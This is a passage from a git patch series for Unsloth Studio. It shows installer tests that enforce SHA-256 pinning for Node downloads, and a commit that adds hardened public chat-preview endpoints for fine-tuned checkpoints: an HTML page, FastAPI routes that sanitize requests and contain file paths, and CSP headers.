+    assert rc == M.EXIT_SUCCESS
+
+
+def test_install_prebuilt_failcloses_on_unpinned_latest(tmp_path: Path, monkeypatch):
+    # Unpinned `latest`, no opt-in, nothing on disk to keep: refuse.
+    install_dir = tmp_path / "node"
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not download an unpinned archive")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = "latest", min_major = 24, force = False)
+
+
+@pytest.mark.parametrize("channel", ["latest", "26.3.1"])
+def test_install_prebuilt_unpinned_refusal_does_not_keep_existing(
+    tmp_path: Path, monkeypatch, channel
+):
+    # Regression: an unpinned refusal must fail closed even with a usable install on
+    # disk; the keep-existing fallback is for transient failures only.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)  # existing install is usable
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not download an unpinned archive")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = channel, min_major = 24, force = False)
+
+
+def test_unpinned_refusal_maps_to_fallback_exit_code(tmp_path: Path, monkeypatch, capsys):
+    # main() must surface the refusal as EXIT_FALLBACK (setup treats it as a failed
+    # install with guidance), not as a success masked by the keep-existing path.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+    rc = M.main(["--install-dir", str(install_dir), "--node-version", "latest"])
+    assert rc == M.EXIT_FALLBACK
+    # Guard the main() catch order: UnpinnedNodeRefused must be caught before the
+    # generic PrebuiltFallback, so assert the message, not just the exit code.
+    out = capsys.readouterr().out
+    assert "refusing to install Node" in out
+    assert "prebuilt unavailable" not in out
+
+
+def test_resolve_expected_sha256_rejects_malformed_pins():
+    # A structurally-broken manifest is "not pinned" (None), never a bogus digest.
+    asset = "node-v24.17.0-linux-x64.tar.gz"
+    assert M.pinned_sha256({"versions": "nope"}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": "nope"}}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "x" * 63}}}, "24.17.0", asset) is None
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "z" * 64}}}, "24.17.0", asset) is None
+    # an uppercase but otherwise valid digest is normalized to lowercase
+    up = "A" * 64
+    assert M.pinned_sha256({"versions": {"24.17.0": {asset: up}}}, "24.17.0", asset) == up.lower()
+    for bad in [{}, {"default_version": ""}, {"default_version": "not-a-version"}]:
+        with pytest.raises(PrebuiltFallback):
+            M.pinned_default_version(bad)
+
+
+def test_install_prebuilt_optin_takes_remote_shasums_path(tmp_path: Path, monkeypatch):
+    # With the opt-in set, an unpinned version drives the remote-SHASUMS path end to
+    # end: fetch SHASUMS256.txt, then the verified archive download (no refusal).
+    install_dir = tmp_path / "node"  # nothing on disk -> errors re-raise, not keep-existing
+    asset = "node-v26.3.1-linux-x64.tar.gz"
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest = 26.3.1 (unpinned)
+    monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, "1")
+    shasums_fetched = {"n": 0}
+
+    def fake_shasums(url, **k):
+        shasums_fetched["n"] += 1
+        return f"{'d' * 64}  {asset}\n".encode()
+
+    class _ReachedDownload(Exception):
+        pass
+
+    def reached(*a, **k):
+        raise _ReachedDownload
+
+    monkeypatch.setattr(M, "download_bytes", fake_shasums)
+    monkeypatch.setattr(M, "download_file_verified", reached)
+    with pytest.raises(_ReachedDownload):
+        M.install_prebuilt(install_dir, channel = "latest", min_major = 24, force = False)
+    assert shasums_fetched["n"] == 1  # the opt-in path fetched the remote SHASUMS
+
+
+def test_pins_manifest_ships_next_to_installer():
+    # The committed manifest must sit beside the installer so __file__ resolution finds it.
+    assert M.pins_path() == MODULE_PATH.parent / M.PINS_FILENAME
+    assert M.pins_path().is_file()
+
+
+def test_pins_manifest_is_declared_in_package_data():
+    # An unpackaged trust anchor is no trust anchor: a pip install must ship it.
+    # tomllib is stdlib only on 3.11+; fall back to tomli, else skip on 3.9/3.10.
+    tomllib = pytest.importorskip("tomllib" if sys.version_info >= (3, 11) else "tomli")
+
+    data = tomllib.loads((PACKAGE_ROOT / "pyproject.toml").read_text(encoding = "utf-8"))
+    studio_globs = data["tool"]["setuptools"]["package-data"]["studio"]
+    assert M.PINS_FILENAME in studio_globs
+
+
+def test_existing_install_matches_enforces_expected_sha(tmp_path: Path, monkeypatch):
+    # The short-circuit must not keep a version-matching install whose recorded digest
+    # is not the pin (old remote-SHASUMS install or a tampered artifact).
+    host = _host("linux", "x64")
+    M.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "aa")
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is True  # back-compat
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "aa") is True
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "bb") is False
+
+
+def test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monkeypatch):
+    # Codex P2: an unpinned version already on disk must still fail closed without the
+    # opt-in, not be kept by the version-only short-circuit.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "26.3.1", asset = "a", sha256 = "s")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "26.3.1")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not keep or download an unpinned install")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = "26.3.1", min_major = 24, force = False)
+
+
+def test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, monkeypatch):
+    # Symmetry with the short-circuit guard: the transient-failure fallback must not
+    # keep a same-version install whose recorded digest is not the pin. (A different
+    # usable version is still kept for offline resilience -- covered above.)
+    host = _host("linux", "x64")
+    version = M.pinned_default_version(M.load_pins())
+    asset = M.node_asset_name(version, host)
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = "0" * 64)  # not the pin
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.setattr(M, "download_file_verified", _offline)  # transient download failure
+    with pytest.raises(OSError):
+        M.install_prebuilt(install_dir, channel = "pinned", min_major = 24, force = False)

From e5cf956601a9271ddb2441441c734baeb5be3bc4 Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Wed, 24 Jun 2026 19:01:53 +0530
Subject: [PATCH 098/306] Studio: shareable per-checkpoint preview links
 (#6486)

* checkpoint preview endpoint

* harden new preview endpoints

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review

* Studio preview: pin adapter, guard streaming submit, robust copy-link

Harden the public per-checkpoint preview surface:

- Pin use_adapter=True in the preview payload sanitizer. Otherwise an
  unauthenticated /p caller can POST use_adapter=false, which calls
  disable_adapter_layers() on the shared in-memory model without restoring
  it; since load_model skips reloads for the same checkpoint, every later
  visitor (the page never sends the field) keeps getting base-model output
  instead of the fine-tuned checkpoint. Forcing it on also re-enables a
  previously disabled adapter and no-ops on merged checkpoints.
- Ignore preview-page submits while a response is streaming. The send
  button was disabled but the Enter handler still called requestSubmit(),
  so a second request could start before the first reply landed in msgs and
  reorder the chat history. Both the keydown and submit handlers now honor
  the disabled button.
- Keep the cloudflare-URL polling loop alive across transient startup fetch
  errors instead of letting one rejection halt it.
- Build the copy-link from a backend preview_ref (output dir relative to
  outputs_root, gated on previewability and the two-segment /p route limit)
  so a nested output dir no longer copies a basename-only link that 404s.
  Expose preview_ref on training run summaries.

Add route-level security tests (path traversal, payload sanitization,
asset containment, CSP header, HTML title escaping, streaming lock held
until drained) and preview_ref unit tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio preview: Safari-safe submit and adapter pin only for LoRA

Follow-ups from cross-browser and route simulations:

- Preview page: send the message from a shared send() helper called by both
  the form submit and the Enter key, instead of form.requestSubmit(). The
  latter throws on Safari < 16 and older iOS, which broke Enter-to-send there.
  Verified across Chromium, Firefox and WebKit with Playwright.
- Only pin use_adapter=True when the resolved checkpoint is a LoRA adapter
  (adapter_config.json present); for a merged checkpoint strip it to None.
  A merged model has no adapter to toggle, so forcing it on only produced a
  per-request "not a PeftModel" warning. The cross-request base-model
  contamination fix still holds for LoRA previews.

Add a merged-checkpoint test asserting use_adapter is stripped to None.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio preview: trim verbose comments

Tighten comments across the preview routes, page, checkpoint helpers, and tests
to short single-line notes; drop ones that just restate the code. No behavior
change (verified comment/docstring-only with comment_tools.py check).

* Harden preview routes for PR #6486

- Return a generic 400 detail on a rejected preview path so the public /p
  route never echoes the absolute install path (the real reason is logged
  server-side instead).
- Strip confirm_tool_calls, session_id and rag_scope in the preview payload
  sanitizer so the public surface stays inert regardless of the tool gate.
- Use Path.is_relative_to for the asset containment check, matching the rest
  of the codebase.
- Add img-src 'self' and font-src 'self' to the preview page CSP.
- Preview page: on a mid-stream error keep the streamed text, flag the break,
  and restore the prompt so the user can retry; drop the unused --font-sans var.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 pyproject.toml                                |   1 +
 studio/backend/assets/preview_page.html       | 398 ++++++++++++++++++
 studio/backend/main.py                        |   3 +
 studio/backend/models/training.py             |   2 +
 studio/backend/routes/preview.py              | 196 +++++++++
 studio/backend/routes/training_history.py     |  17 +-
 studio/backend/run.py                         |   5 +-
 studio/backend/state/tool_policy.py           |  21 +-
 studio/backend/tests/test_preview.py          | 134 ++++++
 studio/backend/tests/test_preview_routes.py   | 293 +++++++++++++
 studio/backend/utils/api_errors.py            |  17 +-
 studio/backend/utils/models/checkpoints.py    |  61 +++
 .../src/features/studio/history-card-grid.tsx |  63 ++-
 .../src/features/training/types/history.ts    |   2 +
 studio/frontend/src/i18n/locales/en.ts        |   3 +
 15 files changed, 1206 insertions(+), 10 deletions(-)
 create mode 100644 studio/backend/assets/preview_page.html
 create mode 100644 studio/backend/routes/preview.py
 create mode 100644 studio/backend/tests/test_preview.py
 create mode 100644 studio/backend/tests/test_preview_routes.py

diff --git a/pyproject.toml b/pyproject.toml
index bf4b118d68..13c421d8ea 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -57,6 +57,7 @@ studio = [
     "backend/requirements/**/*",
     "backend/plugins/**/*",
     "backend/assets/**/*.jinja",
+    "backend/assets/**/*.html",
     "backend/core/data_recipe/oxc-validator/*.json",
     "backend/core/data_recipe/oxc-validator/*.mjs",
 ]
diff --git a/studio/backend/assets/preview_page.html b/studio/backend/assets/preview_page.html
new file mode 100644
index 0000000000..272f7ac89b
--- /dev/null
+++ b/studio/backend/assets/preview_page.html
@@ -0,0 +1,398 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width,initial-scale=1" />
+    <title>__TITLE__ - Unsloth</title>
+    <style>
+      @font-face {
+        font-family: "Hellix";
+        src: url("/p/_assets/fonts/Hellix-Medium.woff") format("woff");
+        font-weight: 500;
+        font-display: swap;
+      }
+      @font-face {
+        font-family: "Hellix";
+        src: url("/p/_assets/fonts/Hellix-SemiBold.woff2") format("woff2");
+        font-weight: 600;
+        font-display: swap;
+      }
+      :root {
+        color-scheme: light dark;
+        --bg: #fefefd;
+        --fg: #0d0d0d;
+        --muted: #858279;
+        --border: #ececec;
+        --user-bubble: #f5f5f5;
+        --primary: #17b88b;
+        --composer-bg: #ffffff;
+        --composer-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+      }
+      @media (prefers-color-scheme: dark) {
+        :root {
+          --bg: #1a1b1e;
+          --fg: #ececee;
+          --muted: #96979b;
+          --border: #3a3d42;
+          --user-bubble: #2d2e32;
+          --composer-bg: #2d2e32;
+          --composer-shadow: none;
+        }
+      }
+      * {
+        box-sizing: border-box;
+      }
+      html,
+      body {
+        height: 100%;
+      }
+      body {
+        margin: 0;
+        background: var(--bg);
+        color: var(--fg);
+        display: flex;
+        flex-direction: column;
+        font:
+          15.5px/1.6 "Inter",
+          "Inter Variable",
+          -apple-system,
+          BlinkMacSystemFont,
+          "Segoe UI",
+          system-ui,
+          sans-serif;
+        -webkit-font-smoothing: antialiased;
+        -moz-osx-font-smoothing: grayscale;
+      }
+      .heading {
+        font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
+      }
+      header {
+        display: flex;
+        align-items: center;
+        gap: 9px;
+        padding: 14px 20px;
+      }
+      header img {
+        width: 22px;
+        height: 22px;
+        border-radius: 50%;
+      }
+      .brand {
+        font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
+        font-weight: 600;
+        font-size: 15px;
+      }
+      .model {
+        margin-left: auto;
+        max-width: 55%;
+        overflow: hidden;
+        text-overflow: ellipsis;
+        white-space: nowrap;
+        font-size: 12.5px;
+        color: var(--muted);
+      }
+      #log {
+        flex: 1;
+        overflow-y: auto;
+        display: flex;
+        flex-direction: column;
+        padding: 8px 16px 24px;
+      }
+      #thread {
+        width: 100%;
+        max-width: 46.5rem;
+        margin: 0 auto;
+        display: flex;
+        flex-direction: column;
+      }
+      .welcome {
+        margin: auto;
+        text-align: center;
+        padding: 0 16px;
+        animation: fade 0.25s ease-out;
+      }
+      .welcome h1 {
+        margin: 0;
+        font-weight: 500;
+        font-size: 30px;
+        letter-spacing: -0.02em;
+      }
+      .welcome p {
+        margin: 0.55rem 0 0;
+        color: var(--muted);
+        font-size: 14px;
+      }
+      .msg {
+        font-size: 15.5px;
+        font-weight: 450;
+        letter-spacing: 0.01em;
+        word-wrap: break-word;
+        white-space: pre-wrap;
+        animation: fade 0.15s ease-out;
+      }
+      .user {
+        align-self: flex-end;
+        max-width: 80%;
+        margin-top: 24px;
+        padding: 10px 16px;
+        border-radius: 24px;
+        background: var(--user-bubble);
+      }
+      .assistant {
+        align-self: stretch;
+        margin-top: 16px;
+        line-height: 1.75;
+      }
+      .dots {
+        display: inline-flex;
+        gap: 5px;
+        align-items: center;
+        height: 1.6em;
+      }
+      .dots i {
+        width: 6px;
+        height: 6px;
+        border-radius: 50%;
+        background: var(--muted);
+        animation: blink 1.2s infinite;
+      }
+      .dots i:nth-child(2) {
+        animation-delay: 0.18s;
+      }
+      .dots i:nth-child(3) {
+        animation-delay: 0.36s;
+      }
+      .composer-wrap {
+        padding: 6px 16px 16px;
+      }
+      form {
+        width: 100%;
+        max-width: 46.5rem;
+        margin: 0 auto;
+      }
+      .composer {
+        display: flex;
+        align-items: flex-end;
+        gap: 8px;
+        padding: 8px 8px 8px 18px;
+        border-radius: 28px;
+        background: var(--composer-bg);
+        box-shadow: var(--composer-shadow);
+      }
+      textarea {
+        flex: 1;
+        border: 0;
+        outline: 0;
+        resize: none;
+        background: transparent;
+        color: var(--fg);
+        font: inherit;
+        line-height: 1.5;
+        max-height: 200px;
+        padding: 8px 0;
+      }
+      textarea::placeholder {
+        color: var(--muted);
+      }
+      .send {
+        flex-shrink: 0;
+        display: flex;
+        align-items: center;
+        justify-content: center;
+        width: 36px;
+        height: 36px;
+        border: 0;
+        border-radius: 50%;
+        background: var(--primary);
+        color: #fff;
+        cursor: pointer;
+      }
+      .send:disabled {
+        opacity: 0.4;
+        cursor: default;
+      }
+      .foot {
+        margin: 9px auto 0;
+        max-width: 46.5rem;
+        text-align: center;
+        font-size: 11px;
+        color: var(--muted);
+      }
+      @keyframes blink {
+        0%,
+        80%,
+        100% {
+          opacity: 0.25;
+        }
+        40% {
+          opacity: 1;
+        }
+      }
+      @keyframes fade {
+        from {
+          opacity: 0;
+          transform: translateY(2px);
+        }
+        to {
+          opacity: 1;
+          transform: none;
+        }
+      }
+    </style>
+  </head>
+  <body>
+    <header>
+      <img src="/p/_assets/circle-logo-small.png" alt="" /><span class="brand"
+        >Unsloth</span
+      ><span class="model">__TITLE__</span>
+    </header>
+    <main id="log">
+      <div id="welcome" class="welcome">
+        <h1 class="heading">Chat with your model</h1>
+        <p>Fine-tuned with Unsloth</p>
+      </div>
+      <div id="thread"></div>
+    </main>
+    <div class="composer-wrap">
+      <form id="f">
+        <div class="composer">
+          <textarea
+            id="i"
+            rows="1"
+            autocomplete="off"
+            placeholder="Message this model..."
+          ></textarea>
+          <button id="b" class="send" aria-label="Send">
+            <svg
+              width="18"
+              height="18"
+              viewBox="0 0 24 24"
+              fill="none"
+              stroke="currentColor"
+              stroke-width="2.2"
+              stroke-linecap="round"
+              stroke-linejoin="round"
+            >
+              <path d="M12 19V5" />
+              <path d="M5 12l7-7 7 7" />
+            </svg>
+          </button>
+        </div>
+        <div class="foot">Served by Unsloth Studio</div>
+      </form>
+    </div>
+    <script>
+      const base = location.pathname.replace(/\/+$/, "");
+      const log = document.getElementById("log"),
+        thread = document.getElementById("thread"),
+        welcome = document.getElementById("welcome");
+      const form = document.getElementById("f"),
+        input = document.getElementById("i"),
+        btn = document.getElementById("b");
+      const msgs = [];
+      const down = () => {
+        log.scrollTop = log.scrollHeight;
+      };
+      function autosize() {
+        input.style.height = "auto";
+        input.style.height = Math.min(input.scrollHeight, 200) + "px";
+      }
+      input.addEventListener("input", autosize);
+      input.addEventListener("keydown", (e) => {
+        if (e.isComposing || e.keyCode === 229) return;
+        if (e.key === "Enter" && !e.shiftKey) {
+          e.preventDefault();
+          // send() (not form.requestSubmit, unsupported on Safari < 16) guards the btn.
+          send();
+        }
+      });
+      function add(role) {
+        const d = document.createElement("div");
+        d.className = "msg " + role;
+        thread.appendChild(d);
+        down();
+        return d;
+      }
+      async function send() {
+        // One path for button + Enter; ignore while a request is in flight.
+        if (btn.disabled) return;
+        const content = input.value.trim();
+        if (!content) return;
+        if (welcome) welcome.style.display = "none";
+        input.value = "";
+        autosize();
+        btn.disabled = true;
+        msgs.push({ role: "user", content });
+        add("user").textContent = content;
+        const out = add("assistant");
+        out.innerHTML = '<span class="dots"><i></i><i></i><i></i></span>';
+        let acc = "";
+        try {
+          const r = await fetch(base + "/v1/chat/completions", {
+            method: "POST",
+            headers: { "Content-Type": "application/json" },
+            body: JSON.stringify({
+              model: "preview",
+              messages: msgs,
+              stream: true,
+            }),
+          });
+          if (!r.ok) {
+            out.textContent =
+              "Error " + r.status + ": " + (await r.text()).slice(0, 300);
+            msgs.pop();
+            input.value = content; // restore the prompt so the user can retry
+            autosize();
+            btn.disabled = false;
+            return;
+          }
+          const reader = r.body.getReader(),
+            dec = new TextDecoder();
+          let buf = "";
+          for (;;) {
+            const { value, done } = await reader.read();
+            if (done) break;
+            buf += dec.decode(value, { stream: true });
+            let i;
+            while ((i = buf.indexOf("\n")) >= 0) {
+              const line = buf.slice(0, i).trim();
+              buf = buf.slice(i + 1);
+              if (!line.startsWith("data:")) continue;
+              const data = line.slice(5).trim();
+              if (data === "[DONE]") continue;
+              try {
+                const j = JSON.parse(data);
+                const d =
+                  j.choices &&
+                  j.choices[0] &&
+                  j.choices[0].delta &&
+                  j.choices[0].delta.content;
+                if (d) {
+                  acc += d;
+                  out.textContent = acc;
+                  down();
+                }
+              } catch (_) {}
+            }
+          }
+          if (!acc) out.textContent = "";
+          msgs.push({ role: "assistant", content: acc });
+        } catch (err) {
+          // Keep any streamed text, flag the break, restore the prompt for retry.
+          out.textContent = acc ? acc + "\n\n[connection lost]" : "Network error, please retry.";
+          msgs.pop();
+          input.value = content;
+          autosize();
+        }
+        btn.disabled = false;
+        input.focus();
+      }
+      form.addEventListener("submit", (e) => {
+        e.preventDefault();
+        send();
+      });
+      autosize();
+      input.focus();
+    </script>
+  </body>
+</html>
diff --git a/studio/backend/main.py b/studio/backend/main.py
index a56bd46c4b..a8e81b68e6 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -282,6 +282,7 @@ from routes import (
     training_router,
 )
 from routes.llama import router as llama_router
+from routes.preview import router as preview_router
 from hub.routes import (
     inventory_router as hub_inventory_router,
     datasets_router as hub_datasets_router,
@@ -672,6 +673,7 @@ from utils.upload_limits import (  # noqa: E402
 _BODY_PROTECTED_PREFIXES = (
     "/v1/chat/completions",
     "/v1/completions",
+    "/p/",
     "/api/inference",
     "/api/data-recipe",
     "/api/datasets",
@@ -885,6 +887,7 @@ app.include_router(inference_studio_router, prefix = "/api/inference", tags = ["
 
 # OpenAI-compatible: mount the inference router at /v1 for external tools.
 app.include_router(inference_router, prefix = "/v1", tags = ["openai-compat"])
+app.include_router(preview_router, prefix = "/p", tags = ["preview"])
 app.include_router(providers_router, prefix = "/api/providers", tags = ["providers"])
 app.include_router(settings_router, prefix = "/api/settings", tags = ["settings"])
 app.include_router(mcp_servers_router, prefix = "/api/mcp/servers", tags = ["mcp"])
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index 670d5f911d..8b6fb36471 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -601,6 +601,8 @@ class TrainingRunSummary(BaseModel):
     loss_sparkline: Optional[List[float]] = None
     can_resume: bool = False
     resumed_later: bool = False
+    has_preview_model: bool = False
+    preview_ref: Optional[str] = None
 
 
 class TrainingRunUpdateRequest(BaseModel):
diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py
new file mode 100644
index 0000000000..d5247a2bcf
--- /dev/null
+++ b/studio/backend/routes/preview.py
@@ -0,0 +1,196 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Per-checkpoint preview endpoints: /p/{run}[/{checkpoint}]/v1/..."""
+
+from __future__ import annotations
+
+import asyncio
+import html
+from pathlib import Path
+from urllib.parse import quote
+
+from fastapi import APIRouter, Depends, HTTPException, Request
+from fastapi.responses import FileResponse, HTMLResponse, StreamingResponse
+from loggers import get_logger
+
+from auth.authentication import get_current_subject
+from auth.storage import DEFAULT_ADMIN_USERNAME
+from models.inference import ChatCompletionRequest, LoadRequest
+from routes.inference import load_model, openai_chat_completions
+from state.tool_policy import tools_force_disabled
+from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
+
+logger = get_logger(__name__)
+
+router = APIRouter()
+
+# Public (no key); resolve_preview_checkpoint pins `run` under outputs_root.
+# One model loads at a time, so serialize load+generate across previews.
+_preview_lock = asyncio.Lock()
+
+
+def _resolve_or_4xx(run: str, checkpoint: str | None):
+    try:
+        return resolve_preview_checkpoint(run, checkpoint)
+    except ValueError as exc:
+        # Detail can carry the absolute install path on a symlink escape; log it,
+        # return a generic message on this public route.
+        logger.warning("preview path rejected: %s", exc)
+        raise HTTPException(status_code = 400, detail = "Invalid run or checkpoint")
+    except FileNotFoundError as exc:
+        raise HTTPException(status_code = 404, detail = str(exc))
+
+
+def _sanitize_preview_payload(
+    payload: ChatCompletionRequest, is_lora: bool
+) -> ChatCompletionRequest:
+    # Public surface: strip tools/MCP + provider routing (no host code / open proxy).
+    # Normalize use_adapter (never trust the caller): pin True for LoRA, None for
+    # merged. _apply_adapter_state mutates the shared model without restoring, so an
+    # unpinned `false` would persist to later visitors who omit the field.
+    return payload.model_copy(
+        update = {
+            "tools": None,
+            "enable_tools": False,
+            "enabled_tools": None,
+            "mcp_enabled": False,
+            "bypass_permissions": False,
+            "confirm_tool_calls": False,
+            "session_id": None,
+            "rag_scope": None,
+            "openai_code_exec_container_id": None,
+            "anthropic_code_exec_container_id": None,
+            "provider_id": None,
+            "provider_type": None,
+            "external_model": None,
+            "encrypted_api_key": None,
+            "provider_base_url": None,
+            "use_adapter": True if is_lora else None,
+        }
+    )
+
+
+async def _unlock_after(body_iterator):
+    # Hold the lock until the stream drains so another checkpoint can't swap mid-stream.
+    try:
+        async for chunk in body_iterator:
+            yield chunk
+    finally:
+        _preview_lock.release()
+
+
+async def _serve_chat(
+    run: str, checkpoint: str | None, payload: ChatCompletionRequest, request: Request
+):
+    path = _resolve_or_4xx(run, checkpoint)
+    is_lora = (path / "adapter_config.json").exists()
+    payload = _sanitize_preview_payload(payload, is_lora)
+    await _preview_lock.acquire()
+    keep_locked = False
+    try:
+        await load_model(LoadRequest(model_path = str(path)), request, DEFAULT_ADMIN_USERNAME)
+        # Beats a process-wide `--enable-tools` (enable_tools=False alone wouldn't).
+        with tools_force_disabled():
+            response = await openai_chat_completions(payload, request, DEFAULT_ADMIN_USERNAME)
+        if isinstance(response, StreamingResponse):
+            response.body_iterator = _unlock_after(response.body_iterator)
+            keep_locked = True
+        return response
+    finally:
+        if not keep_locked:
+            _preview_lock.release()
+
+
+@router.get("")
+async def list_previews(request: Request, current_subject: str = Depends(get_current_subject)):
+    base = str(request.base_url)
+    previews = []
+    for target in list_preview_targets():
+        ref = quote(target["ref"], safe = "/")
+        previews.append({**target, "url": f"{base}p/{ref}/v1"})
+    return {"object": "list", "data": previews}
+
+
+@router.post("/{run}/v1/chat/completions")
+async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request: Request):
+    return await _serve_chat(run, None, payload, request)
+
+
+@router.post("/{run}/{checkpoint}/v1/chat/completions")
+async def preview_chat_checkpoint(
+    run: str, checkpoint: str, payload: ChatCompletionRequest, request: Request
+):
+    return await _serve_chat(run, checkpoint, payload, request)
+
+
+def _models_response(run: str, checkpoint: str | None):
+    path = _resolve_or_4xx(run, checkpoint)
+    model_id = run if not checkpoint else f"{run}/{checkpoint}"
+    return {
+        "object": "list",
+        "data": [
+            {
+                "id": model_id,
+                "object": "model",
+                "created": int(path.stat().st_mtime),
+                "owned_by": "unsloth-studio",
+            }
+        ],
+    }
+
+
+@router.get("/{run}/v1/models")
+async def preview_models_latest(run: str):
+    return _models_response(run, None)
+
+
+@router.get("/{run}/{checkpoint}/v1/models")
+async def preview_models_checkpoint(run: str, checkpoint: str):
+    return _models_response(run, checkpoint)
+
+
+# Serve logo/fonts here too: the SPA static mount is absent in --api-only (Tauri).
+_FRONTEND_DIST = (Path(__file__).resolve().parents[2] / "frontend" / "dist").resolve()
+_PREVIEW_ASSET_MEDIA_TYPES = {
+    ".png": "image/png",
+    ".woff": "font/woff",
+    ".woff2": "font/woff2",
+}
+
+
+@router.get("/_assets/{asset_path:path}")
+async def preview_asset(asset_path: str):
+    target = (_FRONTEND_DIST / asset_path).resolve()
+    media_type = _PREVIEW_ASSET_MEDIA_TYPES.get(target.suffix.lower())
+    if media_type is None or not target.is_relative_to(_FRONTEND_DIST) or not target.is_file():
+        raise HTTPException(status_code = 404, detail = "Not found")
+    return FileResponse(target, media_type = media_type)
+
+
+# Self-contained public page; only the title is interpolated.
+_PREVIEW_PAGE_HTML = (
+    Path(__file__).resolve().parent.parent / "assets" / "preview_page.html"
+).read_text(encoding = "utf-8")
+
+_PREVIEW_PAGE_CSP = (
+    "default-src 'self'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; "
+    "img-src 'self'; font-src 'self'; connect-src 'self'; base-uri 'none'"
+)
+
+
+def _preview_page(run: str, checkpoint: str | None) -> HTMLResponse:
+    _resolve_or_4xx(run, checkpoint)
+    title = run if not checkpoint else f"{run}/{checkpoint}"
+    page = _PREVIEW_PAGE_HTML.replace("__TITLE__", html.escape(title))
+    return HTMLResponse(page, headers = {"Content-Security-Policy": _PREVIEW_PAGE_CSP})
+
+
+@router.get("/{run}", response_class = HTMLResponse)
+async def preview_page_latest(run: str):
+    return _preview_page(run, None)
+
+
+@router.get("/{run}/{checkpoint}", response_class = HTMLResponse)
+async def preview_page_checkpoint(run: str, checkpoint: str):
+    return _preview_page(run, checkpoint)
diff --git a/studio/backend/routes/training_history.py b/studio/backend/routes/training_history.py
index 1560c72767..a64d2a938e 100644
--- a/studio/backend/routes/training_history.py
+++ b/studio/backend/routes/training_history.py
